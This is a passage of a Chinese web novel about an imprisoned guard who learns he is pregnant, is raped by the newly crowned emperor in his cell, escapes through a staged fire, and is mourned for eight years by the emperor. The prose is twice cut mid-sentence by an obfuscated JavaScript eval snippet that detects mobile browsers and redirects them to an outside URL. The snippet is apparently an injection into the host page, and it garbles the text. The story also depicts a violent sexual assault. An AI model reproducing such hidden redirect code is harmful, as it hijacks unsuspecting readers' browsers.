左臂的伤口只被草草包扎了一下,此刻剧痛钻心,每一次呼吸都牵扯着伤处,让他冷汗涔涔。 失血过多带来的眩晕感一阵阵袭来。 他勉强撑起身子,挪蹭着,靠在冰冷的石壁上,眼神空洞地望着铁窗外那一点微弱的光。 身体的疼痛远不及心头的冰冷。宇文珏的阴毒和那一刀,彻底斩断了他 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陈锋迅速拿出藏在怀里的干净布条和秘制的伤药。 陈家是杏林世家,陈锋家学深厚,若不是去做了王府侍卫,恐怕早已成了太医院的翘楚。 他小心翼翼地解开那肮脏的包扎,看到皮肉翻卷、深可见骨的刀伤时,倒吸一口凉气。 “这帮畜生!”他低声咒骂着,动作却异常轻柔地开始清理伤口,重新上药包扎。 处理完伤口,陈锋又拿出一个水囊和一小块温热的饼。 “快,吃点东西,喝点水。” 褚良机械地接过,却毫无胃口。他靠在石壁上,声音疲惫:“外面……怎么样了?宇文珏……逃了?” 陈锋沉默了一下,低声道, “嗯,从密道逃出京城了。南边的消息传来,他在江南旧臣的拥立下,已经成立了南朝廷。王爷这边……也在加紧筹备登基大典,要成立北朝廷。南北……正式分裂了。” 褚良闻言,只是扯了扯嘴角,露出一抹讽刺的冷笑。 分裂?不过是宇文家叔侄两个争权夺利的延续罢了。 这天下,与他们何干?受苦的,不过是百姓而已。 “至于你……”陈锋看着褚良死灰般的脸色,语气沉重, “王爷震怒非常。你……放走宇文珏,形同叛逆……按律,是死罪。” 他看着褚良毫无波澜的眼睛,心中一痛,“褚良,你……” “死就死吧。”褚良打断他,声音平静得可怕,“你不必再为我费心了。死了,反而是解脱。” 陈锋看着他眼中那彻底熄灭的光芒,喉头滚动,却说不出安慰的话。 他只能默默地坐在褚良身边,将那温热的饼掰碎了,一点点喂到他嘴边。 褚良勉强吃了几口。 然而,一股强烈的恶心感毫无征兆地从胃里翻涌上来! “呕——”他猛地推开陈锋的手,伏在地上剧烈地干呕起来。 可胃里空空如也,只能吐出一些酸苦的胆汁,呛得他眼泪直流。 陈锋吓了一跳,连忙拍抚他的后背:“你这是怎么了?是伤口太痛?还是这牢里太阴冷,染了风寒?” 褚良呕得浑身无力,瘫软在地,只觉得天旋地转,连抬起眼皮的力气都没有了。 陈锋看着他痛苦的模样,眉头越皱越紧。 褚良这症状……不对劲!联想到坊间关于褚良以哥儿之身成为摄政王良侍的传闻,一个极其荒谬、却又让他心惊肉跳的念头,如同闪电般劈入他的脑海! 之前为褚良处理伤口时,确实隐约看到他胸口有凤形胎记……难道…… 陈锋猛地抓住褚良没有受伤的右手腕,指尖精准地搭在了他的脉门上…… 屏息凝神,仔细感受着那微弱脉搏下……极其细微、却异常清晰的滑脉之象! 如同滚珠走盘! 时间仿佛在这一刻凝固。 油灯昏黄的光线下,陈锋的脸色变得极其凝重,眼中充满了难以置信的震惊! 他猛地抬头,看向虚弱不堪、脸色惨白如纸的褚良,声音因为极度的惊愕而干涩发颤,一字一句,如同惊雷般在这死寂的牢房里炸响, “褚良……你已……有了身孕?!” 19. 第 19 章 死牢的空气凝滞如铁锈,混杂着血腥、霉烂和绝望的气息。 褚良蜷在冰冷的石墙角落,身上的伤口火辣辣地疼,每一次呼吸都牵扯着碎裂的骨头。 但他已感觉不到太多痛苦,或者说,躯体的痛楚远不及心死的万分之一。 他闭着眼,等待着最后的终结,或是宇文尚更残酷的报复。黑暗成了他唯一的庇护所。 可就在刚刚,他被陈锋告知了一个不可思议的消息。 “你……你的脉象……是滑脉!” 滑脉?这两个字像冰锥,瞬间刺穿了褚良混沌的意识。 他猛地睁开眼,黑暗中,瞳孔因震惊而急剧收缩。 滑脉……哥儿的滑脉…… 那个曾让他无比恐惧,甚至视为屈辱和枷锁的可能,竟然成真了? 在宇文尚那般羞辱他,将他踩入泥泞,打入死牢之后?在他万念俱灰,只求速死之时? 宇文尚冰冷而充满占有欲的话语再次回响在耳边, “……给孤生个像孤的小崽子……” “……你该好好想想怎么给孤生下世子才是正事……” 那时,褚良只感到无法言喻的恐惧。他不敢想象,一个在宫廷倾轧中诞下的哥儿之子,会面临怎样的命运?是如他一样成为他人手中染血的刀?还是成为更为不堪的玩物?而有了这个孩子,他与宇文尚之间那早已扭曲不堪的关系,只会被更深地捆绑,永世不得解脱。 这份恐惧曾是如此的真实而沉重。 然而此刻,当“滑脉”二字被陈锋亲口证实,一股截然不同的、汹涌澎湃的热流,瞬间冲垮了他心中冰冻的堤坝,冲毁了所有的屈辱、恐惧和绝望! 孩子……他的孩子! 一个与他血脉相连的生命,正在他这具残破的躯体内悄然孕育! 褚良冰冻的心湖像是被投入了一块滚烫的烙铁,绝望之下骤然沸腾。 下意识地,他颤抖着将手覆盖在自己平坦的小腹上。 那里,似乎真的传来了一丝微弱却无比坚韧的搏动——或许只是幻觉,但那份感觉却无比真实地击中了他灵魂深处最柔软、最干涸的角落。 褚良是孤儿……他的养父也已早逝…… 曾经,他天真的将宇文尚视为唯一的依靠和亲人,那份短暂的光明曾是他生命中全部的暖意,却如镜花水月,转瞬破碎,只留下刻骨的仇恨和背叛。 本以为,这世上,他早已一无所有,孤身一人。 可现在,不同了! 一股强烈的、前所未有的求生欲望,如同燎原的野火,轰然在他心底点燃!这火如此猛烈,瞬间驱散了死亡的阴霾,压过了伤口的剧痛,甚至暂时盖过了对宇文尚的恨意! 这是他的骨血!是他在这冰冷世间唯一的、真正的血缘亲人!是他活下去的全部意义! “我……”褚良的喉咙干涩得厉害,发出的声音嘶哑微弱,却带着一种近乎凶狠的坚定,“我要活……陈锋……我要活下去!” 陈锋看着他眼中骤然爆发的光芒,那光芒甚至比从前最忠诚于宇文尚时还要炽烈纯粹。 他瞬间明白了褚良的转变,心中顿觉五味杂陈,既有欣慰,也有更深的忧虑。他用力点头,声音压得更低, “好!阿良,活着!我们一起想办法出去!我已经在……” “不!”褚良猛地打断他,急切地抓住陈锋的手臂,指甲几乎嵌进对方的皮肉,“不行!陈锋!你不能!宇文尚登基在即,他的手段你比我更清楚!我不能……不能再连累你!为我送命……不值得!” 他眼中是深深的恐惧,不是为自己的死亡,而是为可能连累好友的万劫不复。 陈锋看着他,眼神复杂,沉默了片刻,最终没有反驳,只是沉声道, “……你先养好精神。活着,比什么都重要。其他的……再说。” 他留下一些伤药和一点清水食物,又深深看了褚良一眼,那眼神里有着褚良无法解读的决绝,然后迅速消失在牢门外的黑暗中。 褚良紧紧护着小腹,蜷缩起来。 求生的火焰在胸腔里熊熊燃烧,驱散着死牢的阴寒。 他强迫自己吞咽下陈锋留下的食物,感受着那一点点热量流入身体,滋养着腹中那个脆弱却无比珍贵的生命。 他必须活下去,为了孩子! 登基大典的喧嚣似乎还在紫宸殿的梁柱间回荡。 新帝宇文尚身着玄黑绣金的龙袍,冕旒垂下的玉珠遮住了他深邃的眼眸,却掩不住眉宇间积压的疲惫与不易察觉的戾气。 繁琐的仪式,百官的朝贺,万民的欢呼,这一切在他心中激不起半分波澜,反而像沉重的枷锁。 他挥退了所有侍从,偌大的宫殿只剩下他一人。 空气中弥漫着新漆和龙涎香的味道,奢华却没有人气。 他下意识地摩挲着拇指上的玉扳指,那是当年褚良文武有进益时,他想赏赐却未果的。眼前晃动的,却是宫变那日,褚良被拖走时,苍白倔强的脸,那双曾经盛满忠诚与仰慕的眼睛,现在,只剩下恨意。 “呵……” 一声低沉的冷笑在空旷的殿内响起。 结束了?不,他和褚良之间,远未结束。 “王德全!” 宇文尚的声音冷硬如冰。 “奴才在!” 王德全立即出现。 “摆驾,死牢。” 宇文尚吐出四个字,不容置疑。 “陛下……” 王德全惊得抬起了头, “今日乃陛下登基吉日,万金之躯,岂可亲临那等污秽血腥之地?恐冲撞了龙体,于国运不吉啊!请陛下三思!” “朕的话,还需再说一遍?” 宇文尚的目光扫过王德全,没有任何温度。 那眼神让王德全瞬间噤声,冷汗涔涔而下。 “是,奴才遵旨!” 王德全疾步跑出去安排,心中叫苦不迭。 死牢的腐臭气息扑面而来。 宇文尚踏着潮湿的石阶走下,龙袍的下摆拂过污秽的地面。王德全和一众侍卫屏息凝神,远远跟在后面,大气不敢出。 宇文尚停在褚良的牢门前。侍卫慌忙打开沉重的铁锁。 褚良依旧蜷在角落,但宇文尚敏锐地察觉到了一丝不同。 那双紧闭的眼睛下,似乎不再是纯粹的灰败死寂,而是……一种强撑的、带着微弱火光的戒备?这个发现让宇文尚心中那根紧绷的弦莫名地松动了一丝,随即又被更强烈的掌控欲覆盖。 他挥退左右,独自踏入牢房,居高临下地看着地上的人。 “褚良。” 宇文尚的声音在死寂的牢房里响起,带着一种刻意放缓的、属于帝王的威压,“今日,朕登基了。” 褚良没有动,也没有睁眼,仿佛仍在睡着。 宇文尚并不在意,继续道,声音里甚至带上了一丝施舍般的“温和”,“念在你昔日鞍前马后,也算有些苦劳。朕……给你一个机会。” 他顿了顿,观察着褚良的反应,可惜对方毫无波澜。 “只要你认错。承认你勾结废帝,图谋不轨,是受人蛊惑,是一时糊涂……只要你肯认错……” 宇文尚的声音带着循循善诱的魔力,“朕可以让你‘死’在这里。然后,给你一个新的身份。江南某个没落世家的清白哥儿,被寻访入宫。朕会将你纳入后宫,赐你良侍之位。锦衣玉食,尊荣体面,不必再打打杀杀,担惊受怕。一切……可以重新开始。” 他描绘着一个看似美好的图景,一个用谎言和屈服编织的牢笼。 前提是,褚良必须亲手碾碎自己最后的尊严,心甘情愿地戴上他赐予的枷锁。 褚良的身体终于动了一下。 他极其缓慢地抬起头,睁开了眼睛。 宇文尚心中一动,以为他动摇了。 然而,他看到的,却是一双燃烧着冰冷火焰的眼睛! 那眼神里没有恐惧,没有哀求,只有刻骨的讥讽和滔天的恨意! “呵……” 褚良低低地笑了起来,笑声嘶哑破碎,却充满了不屑和鄙夷,“认错?向你?宇文尚……宇文家的狗皇帝?” 宇文尚的脸色瞬间阴沉如墨。 “重新开始?” 褚良的声音陡然拔高,带着一种近乎癫狂的嘲弄,“披上你给的画皮,当一只关在金笼子里的鸟?做你宇文尚的禁脔?做梦!” 他猛地啐出一口带血的唾沫,精准地飞溅在宇文尚华贵的龙袍下摆上!那抹猩红在玄黑的底色上格外刺眼。 “我被你们折辱残害致此,还要让我认错?” 他嘶吼着,用尽全身力气,“宇文尚,你残害忠良,忘恩负义!你们宇文家的人,从根子上就烂透了!猪狗不如!让我向你认错?你配么?我就算是死了,也不会向你低头!” “宇文尚,我恨你,恨毒了你!” 每一个字都像淬了毒的钢针,狠狠扎进宇文尚的心脏! 他所有的耐心、所有的筹谋、那一点点因褚良眼中微弱火光而升起的希冀,瞬间被这疯狂的唾骂撕得粉碎! 取而代之的是被忤逆、被狠狠践踏尊严的滔天怒火! 褚良,有什么资格说配与不配?是褚良背叛他在前!是他放走了废帝,让自己一同天下的霸业未能一步成型! 可这个罪人,这个曾经最温顺、最忠诚、最不可能反抗他的人,如今却用最恶毒的语言唾弃他! “好……好得很!” 宇文尚怒极反笑,声音冷得像九幽寒冰,眼中翻涌着暴戾的赤红,“看来,朕对你还是太仁慈了!你这天生的贱胚子!” 他一步上前,如同捕食的猛兽,粗暴地抓住褚良破烂的衣襟,狠狠将他掼在地上!褚良身上的伤口瞬间崩裂,剧痛让他眼前发黑,但他依旧死死瞪着宇文尚,眼神如淬火的刀锋。 “嘴上骂得痛快,身子倒是比谁都懂得伺候人!” 宇文尚俯下身,大手带着毁灭性的力量撕开褚良残存的衣物,冰冷的石地刺激着褚良的皮肤,“既然给脸不要脸,朕就让你彻底认清自己的位置!你不是清高吗?你不是骨头硬吗?朕倒要看看,把你扔到军营里,犒赏那些如狼似虎的将士,你这身贱骨头,能清高到几时?!” 不行!不能让宇文尚伤了腹中的孩儿! 巨大的恐惧让褚良爆发出了惊人的力量!他疯狂地挣扎、踢打,像一头濒死的困兽!混乱中,他狠狠咬在宇文尚钳制他的手臂上!牙齿深深陷入皮肉,瞬间尝到了浓重的血腥味! “呃!” 宇文尚痛哼一声,眼中戾气更盛!他非但没有松手,反而用另一只手,精准而狠辣地捏住了褚良胳膊上那道尚未愈合的狰狞伤口! “啊——!” 撕裂般的剧痛瞬间席卷了全身!所有的力气仿佛瞬间被抽空,褚良眼前阵阵发黑,反抗的动作骤然僵住,只剩下身体因剧痛而不受控制的痉挛。 宇文尚满意地看着他瞬间失去抵抗的模样,眼神冷酷而残忍。 征服的快意和连日积累的压力、愤怒交织在一起,化为最原始、最粗暴的占有欲。 他没有丝毫怜惜,在冰冷污秽的地面上,用最屈辱的方式,强行占有了这个曾经最信任、如今却最恨他的人。 褚良的意识在剧痛和屈辱中浮沉,耳边是对方羞辱的言语。宇文尚沉重的喘息和带着血腥味的吻落在他的颈侧。 巨大的悲愤几乎将他毁灭,但腹中那微弱的存在感,却像黑暗中唯一的光点,死死拽住了他即将崩溃的神智。 他紧紧咬住下唇,不再发出任何声音,将所有屈辱和痛苦咽下,只为了护住那一点微弱的生机。他不再挣扎,像一具失去灵魂的破败人偶,任由宇文尚发泄着怒火和欲望。唯有指尖在无人看见的角落,死死抠进了石缝里。 不知过了多久,身上的重压终于消失。 连日来的殚精竭虑、登基的疲惫、以及方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16356386|183634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才剧烈的情绪波动,耗尽了宇文尚的心力。 紧绷多日的神经在欲望释放后,被一种巨大的疲惫席卷。 他只最后看了一眼身旁躺着的,一动不动的褚良,本想抬起手将人搂入怀里,可倦意汹涌,他沉重的眼皮再也支撑不住,竟在这污浊的死牢里,沉沉睡去。 褚良也在剧痛和心力交瘁中陷入了半昏迷状态。 死牢里死一般的寂静,只有宇文尚沉重的呼吸声。 不知过了多久,一个身影悄无声息地滑了进来。 是陈锋。 他脸色凝重如铁,看了一眼地上昏睡的两人,眼中闪过一丝决绝的厉色。 他迅速走到角落,熄灭了一小截特制的线香。那香燃烧得极快,几乎没有烟雾,只散发出一股极其淡薄的、若有若无的霉味,早就融入了牢房本身的污浊空气中。 这是陈家秘传的强力迷香,无色无味,效力迅猛。 确认外围侍卫也已经被迷倒,陈锋立刻行动。 他先小心地将褚良抱起,挪到牢门边。然后,迅速从阴影里拖出一个早已准备好的、身形与褚良相似的死刑犯,那犯人早已被灌下药酒,昏迷不醒。 陈锋飞快地脱下褚良那身破烂染血的外袍,套在死刑犯身上,又将褚良一直贴身佩戴的玉佩塞进死刑犯的怀中。 最后,他从怀里掏出一个火折子和一小罐气味浓烈的火油。 做完这一切,陈锋背起意识模糊的褚良,悄无声息地潜出牢门。他没有立刻离开,而是深吸一口气,点燃了火折子,用力扔进了牢房内淋了火油的干草堆上! “轰——!” 火苗瞬间蹿起,贪婪地吞噬着干草和朽木!浓烟滚滚而出! 陈锋再不迟疑,背起褚良,借着浓烟的掩护,沿着早已摸清的安全路线,快步冲向死牢深处一条秘密的排水通道入口。 那里,通往城外荒郊。 两匹健马早已在通道另一头的隐蔽处等候。 浓烟滚滚,带着皮肉焦糊的刺鼻气味,疯狂地涌入鼻腔。 “咳咳!咳咳咳!”宇文尚被剧烈的呛咳惊醒! 他猛地睁开眼,骇然发现整个牢房已陷入一片火海!热浪灼人,浓烟遮蔽了视线! “来人!救火!咳咳!”宇文尚一边大声喊人,一边在地上胡乱摸索,“良儿,良儿!” 就在这时,两个身影冒着浓烟冲了进来,正是王德全和一名侍卫! “陛下快走!火太大了!”王德全将一块沾了水的湿帕子捂在宇文尚的口鼻处,和侍卫一起,不由分说地架起还有些昏沉的宇文尚,拼命往外拖。 “褚良!褚良还在里面!” 宇文尚挣扎着回头,透过浓烟,隐约看到牢房角落的地面上,蜷缩着一个被火焰吞噬的身影! “快救他!”宇文尚目眦欲裂,反身就要往回冲! “陛下!来不及了!快走!”王德全死命抱着他的腰,侍卫也拼尽全力将他往外拽。火势蔓延极快,灼热的气浪扑面而来,根本不可能再冲进去。 宇文尚被连拖带拽地救出死牢,他的龙袍被熏黑,发髻散乱,狼狈不堪,却死死盯着那已成一片火海的牢房,听着木材燃烧的爆裂声和隐约的、令人毛骨悚然的滋滋声。 “救火,把火扑灭,褚良还在里面!” 宇文尚不顾侍从阻拦,抄起一个木桶就冲去水车里汲水,踉跄着加入到救火的人群里。 火势凶猛,照亮了半个京城。 直至第二日清晨,大火才被彻底扑灭。 宇文尚始终没有离开,当大火退去,几乎被夷为平地的死牢出现在眼前时,他第一个冲进了残垣断壁中。 死牢最里面的牢房,那间关押褚良的牢房里,一具烧得面目全非、蜷缩如婴儿般的焦尸横在地上,侍卫蹲下身,从焦尸的怀中,捧出了一块被熏黑却依旧能辨认的玉佩——正是宇文尚赏赐给褚良的那枚贴身之物。 宇文尚面无表情,接过玉佩,看了一眼,立即说,“假的,是假的。” 王德全见皇帝神情有异,立即跪倒在地,涕泪横流。 “陛下……陛下,请您保重龙体……褚侍卫他……” “假的!是假的!” 宇文尚猛地爆发出一声野兽般的怒吼!他冲上前,状若疯魔,狠狠一脚踹向那具焦尸!仿佛要将那“谎言”踢碎! “这不是他!褚良没死!他不可能死!他敢死?!他敢!” 他抽出腰间的软鞭,疯了一般狠狠抽打着那具早已无声无息的焦尸! “陛下!陛下息怒啊!陛下节哀!保重龙体啊!” 王德全不顾一切地扑上去,死死抱住宇文尚的大腿,声泪俱下地劝阻道, “陛下!褚侍卫他……他已经去了!您要以江山社稷为重啊!陛下!天下不能没有您啊!” 鞭子抽打在王德全的背上,他痛得浑身抽搐,却死不松手。周围的侍卫和官员也跪倒一片,却个个噤若寒蝉,不敢做声。 宇文尚的狂怒如同困兽,鞭子抽打的声音在死寂的废墟上格外刺耳。 他盯着那具焦尸和那块玉佩,眼神狂乱而破碎,他疯狂地鞭打着,嘶吼着,仿佛要将所有的愤怒、不甘和某种他自己都不愿承认的恐惧,都发泄在这具尸身之上。 “他没死……他没死……他怎么能死……朕还没……良儿……” 疯狂的嘶吼最终化为破碎的低语,被夜风吹散在弥漫着焦糊气息的空气中。 而在远离京城的荒郊野道上,两个身影正驾着两匹快马,朝着北方草原的方向,绝尘而去。 伏在马背上的褚良,在颠簸中恢复了一丝意识,他下意识地、紧紧地护住了自己的小腹,仿佛那是他在这世间仅存的、唯一的温暖与希望。 身后冲天的火光映红了半边夜空,如同一个时代落幕的血色祭奠,也彻底焚尽了所有的过往。 《第一卷》完 20. 第 20 章 北朝王都,京城。 深秋的晨光穿透层叠的琉璃瓦,在巍峨的宫殿群间投下庄重的金辉。 朱红宫墙高耸,隔绝了市井喧嚣,只余下巡逻禁卫铁甲碰撞的单调回响,以及偶尔掠过长空的孤雁哀鸣。 空气里弥漫着新漆、檀香的味道,无不彰显着皇城深入骨髓的森严,这里是权力的心脏,也是宇文尚亲手打造的、固若金汤的禁城。 军机处议事厅,门窗紧闭,隔绝了外界的寒意。 巨大的沙盘占据中央,山川河流,城池关隘,纤毫毕现。 宇文尚端坐主位,墨紫色的长发束在九龙金冠之下,然而仔细看去,鬓角处已悄然夹杂了缕缕灰白,如同霜雪侵染的墨玉,无声诉说着八载光阴的重量。 他面容依旧深刻俊美,只是眉宇间那份属于青年摄政王的锐气,已被深沉如渊的疲惫和一种近乎凝固的沉郁所取代。 唯有那双深邃的紫眸,在审视沙盘和听取奏报时,才偶尔迸射出洞穿人心的精光。 “陛下,”兵部尚书赵崇率先躬身,声音沉稳,“南境密探急报。南伪帝近月来频繁调动兵马于江陵、襄阳一带,囤积粮草,似有异动。虽其军备废弛,战力不堪,然此番集结规模,为八年来之最,不可不防。” 宇文尚的指尖在光滑的金丝楠木扶手上轻轻敲击,发出沉闷的“笃笃”声。 他目光扫过沙盘上代表南朝的几处标记,语气平淡无波,却带着天潢贵胃的威压, “癣疥之疾,却也聒噪。传令南线诸军,依演兵之策,加强沿江巡防、烽燧戒备。各部军械粮秣再行核验,务必齐整。记住,”他顿了顿,目光如电,“朕要的是‘固若金汤’,而非‘主动寻衅’。待其先动。” “臣遵旨!”赵崇肃然领命。 皇帝的意思很明白:你不动,我亦不动,维持现状,继续抽干南朝的根基;你若敢动,便是自取灭亡,正好给了北朝名正言顺统一的大义。 “陛下,”镇北将军蒙毅紧接着出列,声如洪钟, “北境狄戎各部,今岁旱情尤甚,入秋以来,扰边愈发频繁。虽多为小股游骑劫掠村落,杀伤不重,但次数激增,其势汹汹,恐有更大图谋。边军已数次击退,斩首百余。” 宇文尚的视线移向沙盘北端那片广袤的、象征草原的黄色区域,眼神瞬间锐利了几分。 “狄戎…豺狼之性,逢灾必乱。”他沉吟片刻,“蒙卿,增派斥候,深入漠北,务必摸清各部动向,尤其是王庭阿史那等大部。加固沿线堡寨,坚壁清野。传朕口谕:凡斩杀扰边狄骑者,军功加倍,赏银、赐田!朕要让他们知道,敢伸爪子,就做好被剁掉的准备!” “末将领命!”蒙毅抱拳,声震屋瓦。 皇帝对北狄的重视,远超南边。 随后,户部尚书上前,脸上带着显见的振奋, “陛下,今岁秋税已毕。陛下所颁‘均田令’、‘减赋令’推行八年,成效卓著。国库充盈,远超先帝朝鼎盛之时。各地粮仓皆满,足支三年之用。商路畅通,市井繁荣,百姓有田种,有饭吃,有衣穿者,十之有九。” 最后一句,他特意加重了语气。 宇文尚脸上喜怒无色,只微微颔首, “民生乃国本,重中之重。吏部?” 吏部尚书立刻接上, “陛下,今秋恩科已毕,取中进士一百二十人,举人六百余。皆按陛下旨意,优先选拔通实务、明律法、晓农桑者。请示陛下,如何安置?” “一律下放。” 宇文尚斩钉截铁,“京畿繁华地不去,富庶鱼米之乡不去。让他们去边塞新垦之地,去受灾重建之县,去最穷最苦的基层!任县令佐吏、典史、巡检。给朕好好看看,这天下到底是如何运转,百姓到底需要什么。三年为期,考绩优异者,再行擢升。朕要的不是只会吟风弄月的清谈客,是能办实事、解民忧的干吏!” “臣明白!” 吏部尚书心悦诚服。 皇帝此法,既能磨练人才,又能真正了解底层,稳固根基。 兵部尚书赵崇再次补充,“陛下,军中士气高昂。‘军功授田’、‘伤残抚恤’诸策深得军心。将士们操练勤勉,纪律严明,皆言‘养兵千日,用兵一时’,渴望为国建功,扫平叛逆!” 他口中的叛逆,自然指南、北。 宇文尚嘴角勾起一丝极淡、极冷的弧度,“告诉将士们,安心操练,仗…有的打。但不是现在。” 最后,一名负责民政的官员奏报, “陛下,今岁自南境逃归我朝的流民,较去年又增三成。已按旧例,安置于河套、燕北新垦区及京畿外围荒地。恳请陛下示下后续赈济。” 宇文尚思忖片刻,“开荒之地,即归其所有。朝廷再免其头三年赋税。命工部调拨一批基础农具,户部拨付一月口粮。着地方官妥善引导,助其安家。若有奸猾胥吏趁机盘剥…” 他眼中寒光一闪,“查实一个,严办一个,绝不姑息!” “臣遵旨,陛下仁德!” 官员深深拜下。 冗长的议事会终于结束。 大臣们鱼贯退出,偌大的议事厅瞬间空寂下来,只剩下炭盆里银丝炭燃烧的细微噼啪声。 宇文尚挺直的脊背似乎松懈了一瞬,他抬手用力揉了揉发胀的太阳穴,指腹按压着眉骨间深刻的褶皱,那股挥之不去的疲惫感如潮水般重新将他淹没。 八年来,他殚精竭虑,将一个因好大喜功、穷兵黩武而掏空根基、民怨沸腾的烂摊子,治理成如今国库充盈、军力强盛、民心渐附的局面。 他克制着统一的冲动,只为了休养生息,为了不重蹈覆辙,为了…那个他深埋心底、绝口不提的理由。 可这龙椅,坐得越久,越觉冰冷彻骨。 回到日常批阅奏章的中宫偏殿,堆积如山的奏疏已按轻重缓急分好。 宇文尚刚拿起朱笔,一份放在显眼位置的联名奏折便映入眼帘。他随手翻开,只看了几行,脸色便瞬间阴沉如铁。 奏折内容,又是老生常谈:请陛下遴选秀女,广纳妃嫔,以充后宫,绵延皇嗣。 “荒谬!” 宇文尚猛地将奏折狠狠掼在地上,发出清脆的响声,墨玉镇纸被震得跳了一下。 侍立在侧的王德全吓得一哆嗦,连忙小跑上前,弯腰捡起那本“惹祸”的奏折。 他不敢看内容,只瞥了一眼封面尚几个联名大臣的官职,心头便是一沉,都是上书房和军机处的重臣,皇帝倚重的股肱! “陛下息怒…”王德全捧着奏折,声音发颤。 “息怒?” 宇文尚站起身,高大的身影在殿内投下浓重的阴影,压抑的怒火在紫眸中翻涌, “这帮家伙眼睛都瞎了吗?朕的君后就在这里,朕的后宫,永远只有一人!” 他的声音因激动而微微拔高,带着一种近乎偏执的狂躁,“以后这种混账东西,不要再递到朕眼前,你直接拿去烧了!告诉他们,再敢妄议朕的家事,休怪朕不讲情面!” 王德全“噗通”一声跪下,额头触地, “皇上息怒,都怪老奴,老奴这就去传话!只是…只是…”他犹豫着,还是硬着头皮低声道,“几位大人也是一片忠心,忧虑国本…毕竟…陛下春秋鼎盛,然…储位空悬,实乃社稷之…” “够了!” 宇文尚厉声打断,胸膛剧烈起伏。他何尝不明白臣子的忧虑,但“储位”?他心中只有那个被他亲手打入地狱、又“死”于烈火的人。 子嗣?没有他,哪来的子嗣? 他闭了闭眼,强压下翻腾的戾气,声音陡然变得疲惫, “出去吧。没有朕的传唤,任何人不得打扰。” 王德全如蒙大赦,连忙退了出去,紧紧关上殿门。 殿内重归死寂。 宇文尚像被抽干了力气,颓然坐回宽大的龙椅。他盯着案头摇曳的烛火,那跳跃的光芒映在他灰紫色的发丝和深陷的眼窝里,更添几分孤寂与苍凉。 良久,他推开堆积的奏疏,起身,没有唤人掌灯,独自一人,踩着冷硬光滑的金砖地面,穿过重重宫阙,走向那座被众多宫人把守、却永远空寂的宫殿——明懿宫。 殿门无声开启,一股混合着淡淡檀香和陈旧气息的味道扑面而来。 这里的一切都保持着八年前的模样,纤尘不染,却又死气沉沉。 这里没有活人的气息,只有正殿中央,一张紫檀供桌上,静静立着一块乌木灵牌,上面刻着鎏金大字:“明懿君后褚良之神位”。 旁边,悬挂着一把造型古朴、线条流畅的长弓——飞星弓。 宇文尚挥退了所有远远跟着的宫人。 他走到供桌前,没有上香,只是伸出修长的手指,极其缓慢、极其轻柔地抚过冰凉的弓臂,指尖描摹着弓身上熟悉的纹路,仿佛在触碰爱人的肌肤。 “良儿…” 低沉的嗓音在空旷的大殿里响起,带着浓得化不开的疲惫与沙哑,“今天那群老东西,又在逼朕选秀了…呵,一群蠢货。” 他像是在自言自语,又像是在对着虚空中的某个存在倾诉。 “南边那个不成器的小崽子,还有北边那群饿狼,又开始不安分了…朕知道,他们蹦跶不了多久了。” 他的目光落在灵牌上,眼神复杂,“朕忍了八年…看着国库一点点充盈,看着百姓脸上有了活气,看着军中的刀磨得雪亮…良儿,你说得对,打仗…苦的是百姓。所以朕忍,一直忍…” 他走到内殿那张宽大的的龙床边,从枕畔一个密封的紫檀木盒里,取出一件折叠得整整齐齐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16356387|183634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、却已洗得发白、边缘磨损的旧衣袍。那是褚良当年还是摄政王府亲卫统领时穿的制式常服。 宇文尚抱着那件早已失去主人气息的旧衣,缓缓躺倒在床榻上,将脸深深埋入衣料之中,贪婪地、徒劳地嗅着。 八年了,属于褚良的任何气息都已消散殆尽,只剩下陈年的熏香和木头箱子的味道。 “朕知道…你还在怪朕…恨朕…” 他的声音闷在衣料里,带着一丝不易察觉的哽咽,“是朕…负了你,折辱了你…朕不配…可朕…放不下…” 他收紧手臂,将那件旧衣紧紧箍在怀里,仿佛那是世间唯一的浮木。 “你再等等朕…等朕把南北都收拾干净,把这江山彻底打牢了……” 他深吸一口气,强行压下那翻涌的情绪,声音变得异常低沉而执拗,如同魔咒,“…等朕做完该做的事,就去找你。到时候,咱们在地下团聚…朕欠你的,用一辈子…不,用永生永世还你。” 他的声音越来越低,最终化为疲惫的呓语,“你是朕的君后…上了玉牒的…朕唯一的伴侣…别想躲着朕…良儿…别想…” 沉重的眼皮再也支撑不住,连日操劳的疲惫和深入骨髓的孤寂将他拖入黑暗。 在这座象征着至高尊荣也囚禁着他灵魂的宫殿里,在属于他“亡夫”的冰冷床榻上,北朝至高无上的帝王,抱着爱人早已失去温度的旧衣,沉沉睡去。 灰紫色的发丝凌乱地铺散在明黄的锦枕上,与那墨色的发丝纠缠在一起,无声地诉说着一个帝王无法言说的绝望爱恋。 同一片天空下,北境边陲,云泽谷地。 枯黄的草浪在干燥的秋风中翻滚,发出沙沙的哀鸣。 褚良勒住马,墨色的长发束在脑后,几缕碎发被风吹拂着掠过他棱角愈发深刻、也愈发沉静的面庞。 八年的风霜,洗去了曾经的激烈与彷徨,沉淀下一种如同山岩般的沉稳与担当。 他身旁,一个约莫七八岁的男孩同样骑着匹温顺的小马驹。男孩生得极为俊秀,眉眼间依稀可见褚良的影子,却有着一双极其罕见的、深邃的紫色眼眸,在阳光下流转着宝石般的光泽,正是褚昭。 